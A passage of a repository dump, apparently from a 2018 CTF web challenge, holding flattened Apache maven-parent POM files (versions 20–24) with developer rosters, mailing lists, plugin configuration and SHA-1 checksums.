dennisl@apache.org ASF PMC Member +1 dfabulich Daniel Fabulich dfabulich@apache.org PMC Member -8 dkulp Daniel Kulp dkulp@apache.org ASF PMC Member -5 evenisse Emmanuel Venisse evenisse@apache.org ASF PMC Member +1 hboutemy Hervé Boutemy hboutemy@apache.org PMC Member Europe/Paris jdcasey John Casey jdcasey@apache.org ASF PMC Member -5 kenney Kenney Westerhof kenney@apache.org Neonics PMC Member +1 krosenvold Kristian Rosenvold krosenvold@apache.org PMC Member +1 mkleint Milos Kleint PMC Member oching Maria Odea B. Ching PMC Member olamy Olivier Lamy olamy@apache.org PMC Member +1 pgier Paul Gier pgier@apache.org Red Hat PMC Member -6 rgoers Ralph Goers rgoers@apache.org Intuit -8 PMC Member snicoll Stephane Nicoll snicoll@apache.org ASF PMC Member +1 stephenc Stephen Connolly stephenc@apache.org PMC Member 0 vmassol Vincent Massol vmassol@apache.org ASF PMC Member +1 vsiveton Vincent Siveton vsiveton@apache.org ASF PMC Member -5 wfay Wayne Fay wfay@apache.org ASF PMC Member -6 wsmoak Wendy Smoak wsmoak@apache.org PMC Member -7 bdemers Brian Demers Sonatype bdemers@apache.org -5 Committer bellingard Fabrice Bellingard Committer bentmann Benjamin Bentmann bentmann@apache.org Sonatype Committer +1 cstamas Tamas Cservenak Sonatype cstamas@apache.org +1 Committer dantran Dan Tran Committer dbradicich Damian Bradicich Sonatype dbradicich@apache.org -5 Committer godin Evgeny Mandrikov SonarSource godin@apache.org Committer +3 ifedorenko Igor Fedorenko igor@ifedorenko.com Sonatype Committer -5 fgiust Fabrizio Giustina fgiust@apache.org openmind Committer +1 handyande Andrew Williams handyande@apache.org Committer 0 jjensen Jeff Jensen Committer ltheussl Lukas Theussl ltheussl@apache.org ASF Committer +1 rafale Raphaël Piéroni rafale@apache.org Dexem Committer +1 aramirez Allan Q. Ramirez Emeritus bayard Henri Yandell Emeritus chrisjs Chris Stevenson Emeritus dblevins David Blevins Emeritus dlr Daniel Rall Emeritus epunzalan Edwin Punzalan epunzalan@apache.org Emeritus -8 felipeal Felipe Leme Emeritus jmcconnell Jesse McConnell jmcconnell@apache.org ASF Emeritus -6 joakime Joakim Erdfelt joakime@apache.org ASF Emeritus -5 jstrachan James Strachan Emeritus jtolentino Ernesto Tolentino Jr. jtolentino@apache.org ASF Emeritus +8 markh Mark Hobson markh@apache.org Emeritus 0 mperham Mike Perham mperham@gmail.com IBM Emeritus -6 ogusakov Oleg Gusakov Emeritus pschneider Patrick Schneider pschneider@gmail.com Emeritus -6 ptahchiev Petar Tahchiev ptahchiev@apache.org Emeritus +2 rinku Rahul Thakur Emeritus shinobu Shinobu Kuwai Emeritus smorgrav Torbjorn Eikli Smorgrav Emeritus trygvis Trygve Laugstol trygvis@apache.org ASF Emeritus +1 Maven Announcements List announce@maven.apache.org announce-subscribe@maven.apache.org announce-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-announce/ http://www.mail-archive.com/announce@maven.apache.org http://old.nabble.com/Maven-Announcements-f15617.html http://markmail.org/list/org.apache.maven.announce Maven Notifications List notifications-subscribe@maven.apache.org notifications-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-notifications/ http://www.mail-archive.com/notifications@maven.apache.org http://old.nabble.com/Maven---Notifications-f15574.html http://markmail.org/list/org.apache.maven.notifications scm:svn:http://svn.apache.org/repos/asf/maven/pom/tags/maven-parent-20 scm:svn:https://svn.apache.org/repos/asf/maven/pom/tags/maven-parent-20 http://svn.apache.org/viewvc/maven/pom/tags/maven-parent-20 jira http://issues.apache.org/jira/browse/MPOM/component/12314371 Jenkins https://builds.apache.org/hudson/view/M-R/view/Maven mail
      notifications@maven.apache.org
      apache.website scp://people.apache.org/www/maven.apache.org maven-project-info-reports-plugin 2.4 quality-checks quality-checks true org.apache.maven.plugins maven-compiler-plugin 2.3.2 1.5 1.5 ${project.build.sourceEncoding} org.apache.maven.plugins maven-pmd-plugin 2.4 ${project.build.directory}/generated-sources/modello ${project.build.directory}/generated-sources/plugin cpd-check verify cpd-check reporting org.codehaus.mojo cobertura-maven-plugin 2.5 clean clean org.apache.maven.plugins maven-project-info-reports-plugin 2.4 org.apache.maven.plugins maven-surefire-report-plugin 2.7.2 org.apache.maven.plugins maven-checkstyle-plugin 2.5 config/maven_checks.xml config/maven-header.txt org.apache.maven.plugins maven-pmd-plugin 2.4 http://svn.apache.org/repos/asf/maven/plugins/trunk/maven-pmd-plugin/src/main/resources/rulesets/maven.xml ${project.build.directory}/generated-sources/modello ${project.build.directory}/generated-sources/plugin org.codehaus.mojo cobertura-maven-plugin 2.5 org.apache.maven.plugins maven-jxr-plugin 2.2 org.codehaus.mojo taglist-maven-plugin 2.4 org.apache.maven.plugins maven-javadoc-plugin 2.8 http://commons.apache.org/collections/apidocs-COLLECTIONS_3_0/ http://commons.apache.org/dbcp/apidocs/ http://commons.apache.org/fileupload/apidocs/ http://commons.apache.org/httpclient/apidocs/ http://commons.apache.org/logging/apidocs/ http://commons.apache.org/pool/apidocs/ http://junit.sourceforge.net/javadoc/ http://logging.apache.org/log4j/1.2/apidocs/ http://jakarta.apache.org/regexp/apidocs/ http://velocity.apache.org/engine/releases/velocity-1.5/apidocs/ http://plexus.codehaus.org/plexus-utils/apidocs/ http://plexus.codehaus.org/plexus-classworlds/apidocs/ http://plexus.codehaus.org/plexus-containers/plexus-container-default/apidocs/ javadoc test-javadoc maven-3 ${basedir} maven-site-plugin false attach-descriptor attach-descriptor
      ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/20/maven-parent-20.pom.sha1 ================================================ b42cda17fc84bcf8b60edc4fdb7b56719cc02a30 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/21/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:21 CST 2018 maven-parent-21.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/21/maven-parent-21.pom ================================================ 4.0.0 org.apache apache 10 ../asf/pom.xml org.apache.maven maven-parent 21 pom Apache Maven Maven is a software project management and comprehension tool. Based on the concept of a project object model (POM), Maven can manage a project's build, reporting and documentation from a central piece of information. http://maven.apache.org/ 2002 jdcasey John Casey jdcasey@apache.org ASF PMC Chair -5 aheritier Arnaud Héritier aheritier@apache.org PMC Member +1 baerrach Barrie Treloar PMC Member brett Brett Porter brett@apache.org ASF PMC Member +10 brianf Brian Fox brianf@apache.org Sonatype PMC Member -5 carlos Carlos Sanchez carlos@apache.org ASF PMC Member +1 dennisl Dennis Lundberg dennisl@apache.org ASF PMC Member +1 dfabulich Daniel Fabulich dfabulich@apache.org PMC Member -8 dkulp Daniel Kulp dkulp@apache.org ASF PMC Member -5 evenisse Emmanuel Venisse evenisse@apache.org ASF PMC Member +1 hboutemy Hervé Boutemy hboutemy@apache.org ASF PMC Member Europe/Paris kenney Kenney Westerhof kenney@apache.org Neonics PMC Member +1 krosenvold Kristian Rosenvold krosenvold@apache.org PMC Member +1 oching Maria Odea B. Ching PMC Member olamy Olivier Lamy olamy@apache.org PMC Member +1 pgier Paul Gier pgier@apache.org Red Hat PMC Member -6 rgoers Ralph Goers rgoers@apache.org Intuit -8 PMC Member snicoll Stephane Nicoll snicoll@apache.org ASF PMC Member +1 stephenc Stephen Connolly stephenc@apache.org PMC Member 0 struberg Mark Struberg struberg@apache.org PMC Member vmassol Vincent Massol vmassol@apache.org ASF PMC Member +1 vsiveton Vincent Siveton vsiveton@apache.org ASF PMC Member -5 wfay Wayne Fay wfay@apache.org ASF PMC Member -6 bdemers Brian Demers Sonatype bdemers@apache.org -5 Committer bellingard Fabrice Bellingard Committer bentmann Benjamin Bentmann bentmann@apache.org Sonatype Committer +1 bimargulies Benson Margulies bimargulies@apache.org Committer America/New_York cstamas Tamas Cservenak Sonatype cstamas@apache.org +1 Committer dantran Dan Tran Committer dbradicich Damian Bradicich Sonatype dbradicich@apache.org -5 Committer fgiust Fabrizio Giustina fgiust@apache.org openmind Committer +1 godin Evgeny Mandrikov SonarSource godin@apache.org Committer +3 handyande Andrew Williams handyande@apache.org Committer 0 ifedorenko Igor Fedorenko igor@ifedorenko.com Sonatype Committer -5 jjensen Jeff Jensen Committer jvanzyl Jason van Zyl Committer -5 ltheussl Lukas Theussl ltheussl@apache.org Committer +1 mauro Mauro Talevi Committer mkleint Milos Kleint Committer nicolas Nicolas de Loof Committer rafale Raphaël Piéroni rafale@apache.org Dexem Committer +1 rfscholte Robert Scholte rfscholte@apache.org Committer Europe/Amsterdam aramirez Allan Q. Ramirez Emeritus bayard Henri Yandell Emeritus chrisjs Chris Stevenson Emeritus dblevins David Blevins Emeritus dlr Daniel Rall Emeritus epunzalan Edwin Punzalan epunzalan@apache.org Emeritus -8 felipeal Felipe Leme Emeritus jmcconnell Jesse McConnell jmcconnell@apache.org ASF Emeritus -6 joakime Joakim Erdfelt joakime@apache.org ASF Emeritus -5 jstrachan James Strachan Emeritus jtolentino Ernesto Tolentino Jr. jtolentino@apache.org ASF Emeritus +8 markh Mark Hobson markh@apache.org Emeritus 0 mperham Mike Perham mperham@gmail.com IBM Emeritus -6 ogusakov Oleg Gusakov Emeritus pschneider Patrick Schneider pschneider@gmail.com Emeritus -6 ptahchiev Petar Tahchiev ptahchiev@apache.org Emeritus +2 rinku Rahul Thakur Emeritus shinobu Shinobu Kuwai Emeritus smorgrav Torbjorn Eikli Smorgrav Emeritus trygvis Trygve Laugstol trygvis@apache.org ASF Emeritus +1 wsmoak Wendy Smoak wsmoak@apache.org Emeritus -7 Maven Announcements List announce@maven.apache.org announce-subscribe@maven.apache.org announce-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-announce/ http://www.mail-archive.com/announce@maven.apache.org http://old.nabble.com/Maven-Announcements-f15617.html http://markmail.org/list/org.apache.maven.announce Maven Notifications List notifications-subscribe@maven.apache.org notifications-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-notifications/ http://www.mail-archive.com/notifications@maven.apache.org http://old.nabble.com/Maven---Notifications-f15574.html http://markmail.org/list/org.apache.maven.notifications scm:svn:http://svn.apache.org/repos/asf/maven/pom/tags/maven-parent-21 scm:svn:https://svn.apache.org/repos/asf/maven/pom/tags/maven-parent-21 http://svn.apache.org/viewvc/maven/pom/tags/maven-parent-21 Jenkins https://builds.apache.org/hudson/view/M-R/view/Maven mail
      notifications@maven.apache.org
      apache.website scp://people.apache.org/www/maven.apache.org https://analysis.apache.org/ apache.snapshots Apache Snapshot Repository http://repository.apache.org/snapshots false org.apache.maven.plugins maven-compiler-plugin 1.5 1.5 org.apache.maven.plugins maven-plugin-plugin true org.codehaus.modello modello-maven-plugin 1.4.1 true org.codehaus.plexus plexus-maven-plugin 1.3.8 org.codehaus.plexus plexus-component-metadata 1.5.5 org.codehaus.mojo findbugs-maven-plugin 2.3.2 quality-checks quality-checks true org.apache.maven.plugins maven-pmd-plugin 2.5 1.5 rulesets/maven.xml ${project.build.directory}/generated-sources/modello ${project.build.directory}/generated-sources/plugin cpd-check verify cpd-check reporting org.codehaus.mojo cobertura-maven-plugin 2.5.1 clean clean org.apache.maven.plugins maven-project-info-reports-plugin 2.4 org.apache.maven.plugins maven-surefire-report-plugin 2.9 org.apache.maven.plugins maven-checkstyle-plugin 2.7 config/maven_checks.xml config/maven-header.txt org.apache.maven.plugins maven-pmd-plugin 2.5 1.5 rulesets/maven.xml ${project.build.directory}/generated-sources/modello ${project.build.directory}/generated-sources/plugin org.codehaus.mojo cobertura-maven-plugin 2.5.1 org.apache.maven.plugins maven-jxr-plugin 2.2 org.codehaus.mojo taglist-maven-plugin 2.4 org.apache.maven.plugins maven-javadoc-plugin 2.8 http://commons.apache.org/collections/apidocs-COLLECTIONS_3_0/ http://junit.sourceforge.net/javadoc/ http://logging.apache.org/log4j/1.2/apidocs/ http://velocity.apache.org/engine/releases/velocity-1.5/apidocs/ true org.apache.maven.plugin-tools maven-plugin-tools-javadoc 2.5 org.codehaus.plexus plexus-javadoc 1.0 javadoc test-javadoc org.codehaus.mojo findbugs-maven-plugin 2.3.2 org.codehaus.sonar-plugins maven-report 0.1
      ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/21/maven-parent-21.pom.sha1 ================================================ 0ecebf1043d9c7bdd3d32a4184ad4ef9ad3ea744 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/22/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:12 CST 2018 maven-parent-22.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/22/maven-parent-22.pom ================================================ 4.0.0 org.apache apache 11 ../asf/pom.xml org.apache.maven maven-parent 22 pom Apache Maven Maven is a software project management and comprehension tool. Based on the concept of a project object model (POM), Maven can manage a project's build, reporting and documentation from a central piece of information. http://maven.apache.org/ 2002 olamy Olivier Lamy olamy@apache.org PMC Chair Europe/Paris aheritier Arnaud Héritier aheritier@apache.org PMC Member +1 baerrach Barrie Treloar PMC Member bimargulies Benson Margulies bimargulies@apache.org PMC Member America/New_York brett Brett Porter brett@apache.org ASF PMC Member +10 brianf Brian Fox brianf@apache.org Sonatype PMC Member -5 carlos Carlos Sanchez carlos@apache.org ASF PMC Member +1 dennisl Dennis Lundberg dennisl@apache.org ASF PMC Member +1 dfabulich Daniel Fabulich dfabulich@apache.org PMC Member -8 dkulp Daniel Kulp dkulp@apache.org ASF PMC Member -5 evenisse Emmanuel Venisse evenisse@apache.org ASF PMC Member +1 hboutemy Hervé Boutemy hboutemy@apache.org ASF PMC Member Europe/Paris jdcasey John Casey jdcasey@apache.org ASF PMC Member -5 kenney Kenney Westerhof kenney@apache.org Neonics PMC Member +1 krosenvold Kristian Rosenvold krosenvold@apache.org PMC Member +1 markh Mark Hobson markh@apache.org PMC Member 0 mkleint Milos Kleint PMC Member oching Maria Odea B. Ching PMC Member pgier Paul Gier pgier@apache.org Red Hat PMC Member -6 rfscholte Robert Scholte rfscholte@apache.org PMC Member Europe/Amsterdam rgoers Ralph Goers rgoers@apache.org Intuit -8 PMC Member snicoll Stephane Nicoll snicoll@apache.org ASF PMC Member +1 stephenc Stephen Connolly stephenc@apache.org PMC Member 0 struberg Mark Struberg struberg@apache.org PMC Member vsiveton Vincent Siveton vsiveton@apache.org ASF PMC Member -5 wfay Wayne Fay wfay@apache.org ASF PMC Member -6 bdemers Brian Demers Sonatype bdemers@apache.org -5 Committer bellingard Fabrice Bellingard Committer bentmann Benjamin Bentmann bentmann@apache.org Sonatype Committer +1 cstamas Tamas Cservenak Sonatype cstamas@apache.org +1 Committer dantran Dan Tran Committer dbradicich Damian Bradicich Sonatype dbradicich@apache.org -5 Committer fgiust Fabrizio Giustina fgiust@apache.org openmind Committer +1 godin Evgeny Mandrikov SonarSource godin@apache.org Committer +3 handyande Andrew Williams handyande@apache.org Committer 0 ifedorenko Igor Fedorenko igor@ifedorenko.com Sonatype Committer -5 jjensen Jeff Jensen Committer jvanzyl Jason van Zyl Committer -5 ltheussl Lukas Theussl ltheussl@apache.org Committer +1 mauro Mauro Talevi Committer nicolas Nicolas de Loof Committer rafale Raphaël Piéroni rafale@apache.org Dexem Committer +1 simonetripodi Simone Tripodi simonetripodi@apache.org Committer +1 tchemit Tony Chemit tchemit@apache.org CodeLutin Committer Europe/Paris vmassol Vincent Massol vmassol@apache.org ASF Committer +1 aramirez Allan Q. Ramirez Emeritus bayard Henri Yandell Emeritus chrisjs Chris Stevenson Emeritus dblevins David Blevins Emeritus dlr Daniel Rall Emeritus epunzalan Edwin Punzalan epunzalan@apache.org Emeritus -8 felipeal Felipe Leme Emeritus jmcconnell Jesse McConnell jmcconnell@apache.org ASF Emeritus -6 joakime Joakim Erdfelt joakime@apache.org ASF Emeritus -5 jstrachan James Strachan Emeritus jtolentino Ernesto Tolentino Jr. jtolentino@apache.org ASF Emeritus +8 mperham Mike Perham mperham@gmail.com IBM Emeritus -6 ogusakov Oleg Gusakov Emeritus pschneider Patrick Schneider pschneider@gmail.com Emeritus -6 ptahchiev Petar Tahchiev ptahchiev@apache.org Emeritus +2 rinku Rahul Thakur Emeritus shinobu Shinobu Kuwai Emeritus smorgrav Torbjorn Eikli Smorgrav Emeritus trygvis Trygve Laugstol trygvis@apache.org ASF Emeritus +1 wsmoak Wendy Smoak wsmoak@apache.org Emeritus -7 jruiz Johnny Ruiz III jruiz@apache.org Emeritus Maven User List users-subscribe@maven.apache.org users-unsubscribe@maven.apache.org users@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-users http://www.mail-archive.com/users@maven.apache.org/ http://maven.40175.n5.nabble.com/Maven-Users-f40176.html http://maven.users.markmail.org/ Maven Developer List dev-subscribe@maven.apache.org dev-unsubscribe@maven.apache.org dev@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-dev http://www.mail-archive.com/dev@maven.apache.org/ http://maven.40175.n5.nabble.com/Maven-Developers-f142166.html http://maven.dev.markmail.org/ Maven Issues List issues-subscribe@maven.apache.org issues-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-issues/ http://www.mail-archive.com/issues@maven.apache.org http://maven.40175.n5.nabble.com/Maven-Issues-f219593.html http://maven.issues.markmail.org/ Maven Commits List commits-subscribe@maven.apache.org commits-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-dev http://www.mail-archive.com/commits@maven.apache.org http://maven.40175.n5.nabble.com/Maven-Commits-f277168.html http://maven.commits.markmail.org/ Maven Announcements List announce@maven.apache.org announce-subscribe@maven.apache.org announce-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-announce/ http://www.mail-archive.com/announce@maven.apache.org http://maven.40175.n5.nabble.com/Maven-Announcements-f326045.html http://maven.announce.markmail.org/ Maven Notifications List notifications-subscribe@maven.apache.org notifications-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-notifications/ http://www.mail-archive.com/notifications@maven.apache.org http://maven.40175.n5.nabble.com/Maven-Notifications-f301718.html http://maven.notifications.markmail.org/ scm:svn:http://svn.apache.org/repos/asf/maven/pom/tags/maven-parent-22 scm:svn:https://svn.apache.org/repos/asf/maven/pom/tags/maven-parent-22 http://svn.apache.org/viewvc/maven/pom/tags/maven-parent-22 Jenkins https://builds.apache.org/view/M-R/view/Maven mail
      notifications@maven.apache.org
      apache.website scp://people.apache.org/www/maven.apache.org https://analysis.apache.org/ org.codehaus.plexus plexus-component-annotations 1.5.5 apache.snapshots Apache Snapshot Repository http://repository.apache.org/snapshots false org.apache.maven.plugins maven-compiler-plugin 1.5 1.5 org.apache.maven.plugins maven-plugin-plugin true org.codehaus.modello modello-maven-plugin 1.4.1 true org.codehaus.plexus plexus-maven-plugin 1.3.8 org.codehaus.plexus plexus-component-metadata 1.5.5 org.codehaus.mojo findbugs-maven-plugin 2.5.2 quality-checks quality-checks true org.apache.maven.plugins maven-pmd-plugin 2.7.1 1.5 rulesets/maven.xml ${project.build.directory}/generated-sources/modello ${project.build.directory}/generated-sources/plugin cpd-check verify cpd-check reporting org.codehaus.mojo cobertura-maven-plugin 2.5.1 clean clean org.apache.maven.plugins maven-project-info-reports-plugin 2.5 org.apache.maven.plugins maven-surefire-report-plugin 2.12 org.apache.maven.plugins maven-checkstyle-plugin 2.9.1 config/maven_checks.xml config/maven-header.txt org.apache.maven.plugins maven-pmd-plugin 2.7.1 1.5 rulesets/maven.xml ${project.build.directory}/generated-sources/modello ${project.build.directory}/generated-sources/plugin org.codehaus.mojo cobertura-maven-plugin 2.5.1 org.apache.maven.plugins maven-jxr-plugin 2.3 org.codehaus.mojo taglist-maven-plugin 2.4 org.apache.maven.plugins maven-javadoc-plugin 2.8.1 http://commons.apache.org/collections/apidocs-COLLECTIONS_3_0/ http://junit.sourceforge.net/javadoc/ http://logging.apache.org/log4j/1.2/apidocs/ http://velocity.apache.org/engine/releases/velocity-1.5/apidocs/ true org.apache.maven.plugin-tools maven-plugin-tools-javadoc 3.1 org.codehaus.plexus plexus-javadoc 1.0 javadoc test-javadoc org.codehaus.mojo findbugs-maven-plugin 2.5.2 org.codehaus.sonar-plugins maven-report 0.1
      ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/22/maven-parent-22.pom.sha1 ================================================ b8b69066f9f1c388a977669871df9b66782f751a ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/23/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:07 CST 2018 maven-parent-23.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/23/maven-parent-23.pom ================================================ 4.0.0 org.apache apache 13 ../asf/pom.xml org.apache.maven maven-parent 23 pom Apache Maven Maven is a software project management and comprehension tool. Based on the concept of a project object model (POM), Maven can manage a project's build, reporting and documentation from a central piece of information. http://maven.apache.org/ 2002 olamy Olivier Lamy olamy@apache.org PMC Chair Europe/Paris aheritier Arnaud Héritier aheritier@apache.org PMC Member +1 baerrach Barrie Treloar baerrach@apache.org PMC Member Australia/Adelaide bimargulies Benson Margulies bimargulies@apache.org PMC Member America/New_York brett Brett Porter brett@apache.org ASF PMC Member +10 brianf Brian Fox brianf@apache.org Sonatype PMC Member -5 carlos Carlos Sanchez carlos@apache.org ASF PMC Member +1 dennisl Dennis Lundberg dennisl@apache.org ASF PMC Member +1 dfabulich Daniel Fabulich dfabulich@apache.org PMC Member -8 dkulp Daniel Kulp dkulp@apache.org ASF PMC Member -5 evenisse Emmanuel Venisse evenisse@apache.org ASF PMC Member +1 hboutemy Hervé Boutemy hboutemy@apache.org ASF PMC Member Europe/Paris jdcasey John Casey jdcasey@apache.org ASF PMC Member -5 krosenvold Kristian Rosenvold krosenvold@apache.org PMC Member +1 markh Mark Hobson markh@apache.org PMC Member 0 mkleint Milos Kleint PMC Member oching Maria Odea B. Ching PMC Member pgier Paul Gier pgier@apache.org Red Hat PMC Member -6 rfscholte Robert Scholte rfscholte@apache.org PMC Member Europe/Amsterdam rgoers Ralph Goers rgoers@apache.org Intuit -8 PMC Member snicoll Stephane Nicoll snicoll@apache.org ASF PMC Member +1 stephenc Stephen Connolly stephenc@apache.org PMC Member 0 struberg Mark Struberg struberg@apache.org PMC Member vsiveton Vincent Siveton vsiveton@apache.org ASF PMC Member -5 wfay Wayne Fay wfay@apache.org ASF PMC Member -6 andham Anders Hammar andham@apache.org +1 Committer bdemers Brian Demers Sonatype bdemers@apache.org -5 Committer bellingard Fabrice Bellingard Committer bentmann Benjamin Bentmann bentmann@apache.org Sonatype Committer +1 cstamas Tamas Cservenak Sonatype cstamas@apache.org +1 Committer dantran Dan Tran Committer dbradicich Damian Bradicich Sonatype dbradicich@apache.org -5 Committer fgiust Fabrizio Giustina fgiust@apache.org openmind Committer +1 godin Evgeny Mandrikov SonarSource godin@apache.org Committer +3 handyande Andrew Williams handyande@apache.org Committer 0 ifedorenko Igor Fedorenko igor@ifedorenko.com Sonatype Committer -5 jjensen Jeff Jensen Committer jvanzyl Jason van Zyl Committer -5 ltheussl Lukas Theussl ltheussl@apache.org Committer +1 mauro Mauro Talevi Committer nicolas Nicolas de Loof Committer rafale Raphaël Piéroni rafale@apache.org Dexem Committer +1 simonetripodi Simone Tripodi simonetripodi@apache.org Committer +1 tchemit Tony Chemit tchemit@apache.org CodeLutin Committer Europe/Paris vmassol Vincent Massol vmassol@apache.org ASF Committer +1 aramirez Allan Q. Ramirez Emeritus bayard Henri Yandell Emeritus chrisjs Chris Stevenson Emeritus dblevins David Blevins Emeritus dlr Daniel Rall Emeritus epunzalan Edwin Punzalan epunzalan@apache.org Emeritus -8 felipeal Felipe Leme Emeritus jmcconnell Jesse McConnell jmcconnell@apache.org ASF Emeritus -6 joakime Joakim Erdfelt joakime@apache.org ASF Emeritus -5 jstrachan James Strachan Emeritus jtolentino Ernesto Tolentino Jr. jtolentino@apache.org ASF Emeritus +8 mperham Mike Perham mperham@gmail.com IBM Emeritus -6 ogusakov Oleg Gusakov Emeritus pschneider Patrick Schneider pschneider@gmail.com Emeritus -6 ptahchiev Petar Tahchiev ptahchiev@apache.org Emeritus +2 rinku Rahul Thakur Emeritus shinobu Shinobu Kuwai Emeritus smorgrav Torbjorn Eikli Smorgrav Emeritus trygvis Trygve Laugstol trygvis@apache.org ASF Emeritus +1 wsmoak Wendy Smoak wsmoak@apache.org Emeritus -7 jruiz Johnny Ruiz III jruiz@apache.org Emeritus kenney Kenney Westerhof kenney@apache.org Neonics Emeritus +1 Maven User List users-subscribe@maven.apache.org users-unsubscribe@maven.apache.org users@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-users http://www.mail-archive.com/users@maven.apache.org/ http://maven.40175.n5.nabble.com/Maven-Users-f40176.html http://maven.users.markmail.org/ Maven Developer List dev-subscribe@maven.apache.org dev-unsubscribe@maven.apache.org dev@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-dev http://www.mail-archive.com/dev@maven.apache.org/ http://maven.40175.n5.nabble.com/Maven-Developers-f142166.html http://maven.dev.markmail.org/ Maven Issues List issues-subscribe@maven.apache.org issues-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-issues/ http://www.mail-archive.com/issues@maven.apache.org http://maven.40175.n5.nabble.com/Maven-Issues-f219593.html http://maven.issues.markmail.org/ Maven Commits List commits-subscribe@maven.apache.org commits-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-commits/ http://www.mail-archive.com/commits@maven.apache.org http://maven.40175.n5.nabble.com/Maven-Commits-f277168.html http://maven.commits.markmail.org/ Maven Announcements List announce@maven.apache.org announce-subscribe@maven.apache.org announce-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-announce/ http://www.mail-archive.com/announce@maven.apache.org http://maven.40175.n5.nabble.com/Maven-Announcements-f326045.html http://maven.announce.markmail.org/ Maven Notifications List notifications-subscribe@maven.apache.org notifications-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-notifications/ http://www.mail-archive.com/notifications@maven.apache.org http://maven.40175.n5.nabble.com/Maven-Notifications-f301718.html http://maven.notifications.markmail.org/ scm:svn:http://svn.apache.org/repos/asf/maven/pom/tags/maven-parent-23 scm:svn:https://svn.apache.org/repos/asf/maven/pom/tags/maven-parent-23 http://svn.apache.org/viewvc/maven/pom/tags/maven-parent-23 Jenkins https://builds.apache.org/view/M-R/view/Maven mail
      notifications@maven.apache.org
      apache.website scm:svn:https://svn.apache.org/repos/infra/websites/production/maven/content https://analysis.apache.org/ ${user.home}/maven-sites org.codehaus.plexus plexus-component-annotations 1.5.5 org.apache.maven.plugin-tools maven-plugin-annotations 3.2 provided apache.snapshots Apache Snapshot Repository http://repository.apache.org/snapshots false org.apache.maven.plugins maven-compiler-plugin 3.0 1.5 1.5 org.apache.maven.plugins maven-plugin-plugin 3.2 true org.codehaus.modello modello-maven-plugin 1.4.1 true org.codehaus.plexus plexus-maven-plugin 1.3.8 org.codehaus.plexus plexus-component-metadata 1.5.5 org.codehaus.mojo findbugs-maven-plugin 2.5.2 org.apache.maven.plugins maven-release-plugin 2.3.2 true apache-release,rat deploy ${arguments} org.apache.maven.plugins maven-project-info-reports-plugin 2.6 false index summary dependency-info modules license project-team scm issue-tracking mailing-list dependency-management dependencies dependency-convergence cim plugin-management plugins distribution-management rat org.apache.rat apache-rat-plugin verify rat quality-checks quality-checks true org.apache.maven.plugins maven-pmd-plugin 2.7.1 1.5 rulesets/maven.xml ${project.build.directory}/generated-sources/modello ${project.build.directory}/generated-sources/plugin cpd-check verify cpd-check reporting org.apache.maven.plugins maven-project-info-reports-plugin 2.6 org.apache.maven.plugins maven-surefire-report-plugin 2.12.4 org.apache.maven.plugins maven-checkstyle-plugin 2.9.1 config/maven_checks.xml config/maven-header.txt default checkstyle org.apache.maven.plugins maven-pmd-plugin 2.7.1 1.5 rulesets/maven.xml ${project.build.directory}/generated-sources/modello ${project.build.directory}/generated-sources/plugin org.apache.maven.plugins maven-jxr-plugin 2.3 default jxr test-jxr org.codehaus.mojo taglist-maven-plugin 2.4 org.apache.maven.plugins maven-javadoc-plugin 2.9 true http://commons.apache.org/collections/apidocs-COLLECTIONS_3_0/ http://junit.sourceforge.net/javadoc/ http://logging.apache.org/log4j/1.2/apidocs/ http://velocity.apache.org/engine/releases/velocity-1.5/apidocs/ true org.apache.maven.plugin-tools maven-plugin-tools-javadoc 3.2 org.codehaus.plexus plexus-javadoc 1.0 default javadoc test-javadoc org.codehaus.mojo findbugs-maven-plugin 2.5.2 org.codehaus.sonar-plugins maven-report 0.1
      ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/23/maven-parent-23.pom.sha1 ================================================ f92ae4baba6616609a29f6287626ee3f50ed7d6e ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/24/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:54 CST 2018 maven-parent-24.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/24/maven-parent-24.pom ================================================ 4.0.0 org.apache apache 14 ../asf/pom.xml org.apache.maven maven-parent 24 pom Apache Maven Maven is a software project management and comprehension tool. Based on the concept of a project object model (POM), Maven can manage a project's build, reporting and documentation from a central piece of information. http://maven.apache.org/ 2002 Apache License, Version 2.0 